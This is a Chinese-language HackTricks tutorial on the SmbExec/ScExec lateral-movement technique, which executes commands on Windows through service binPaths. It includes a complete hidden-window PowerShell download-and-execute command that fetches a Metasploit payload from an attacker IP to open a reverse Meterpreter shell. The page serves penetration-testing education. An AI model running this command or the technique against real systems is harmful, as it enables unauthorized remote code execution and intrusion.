5.7 KiB
SmbExec/ScExec
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks仓库和hacktricks-cloud仓库提交PR来分享你的黑客技巧。
它是如何工作的
Smbexec的工作方式类似于Psexec。在这个例子中,不是将"binpath"指向受害者内部的恶意可执行文件,而是将其指向cmd.exe或powershell.exe,其中一个将下载并执行后门。
SMBExec
让我们从攻击者和目标的角度来看smbexec的运行情况:
所以我们知道它创建了一个名为"BTOBTO"的服务。但是当我们执行sc query
命令时,该服务在目标机器上不存在。系统日志揭示了发生了什么:
服务文件名包含一个要执行的命令字符串(%COMSPEC%指向cmd.exe的绝对路径)。它将要执行的命令回显到一个bat文件中,将stdout和stderr重定向到一个临时文件,然后执行bat文件并删除它。回到Kali,Python脚本通过SMB拉取输出文件,并在我们的"伪shell"中显示内容。对于我们在"shell"中输入的每个命令,都会创建一个新的服务,并重复该过程。这就是为什么它不需要放置一个二进制文件,而只是将每个所需的命令作为一个新的服务执行。这绝对更隐蔽,但正如我们所见,每个执行的命令都会创建一个事件日志。这是一种非常聪明的获取非交互式"shell"的方法!
手动SMBExec
或通过服务执行命令
正如smbexec所示,可以直接从服务的binPaths中执行命令,而不需要一个二进制文件。如果你只需要在目标Windows机器上执行一个任意命令,这可能是一个有用的技巧。作为一个快速的例子,让我们使用Metasploit的web_delivery
模块,并选择一个带有反向Meterpreter有效负载的PowerShell目标。设置监听器并告诉我们在目标机器上要执行的命令:
powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');
从我们的Windows攻击盒中,我们创建了一个远程服务("metpsh"),并将binPath设置为使用我们的有效负载执行cmd.exe:
然后启动它:
它报错了,因为我们的服务没有响应,但是如果我们查看Metasploit监听器,我们会看到回调已经完成并执行了有效负载。
所有的信息都从这里提取出来:https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。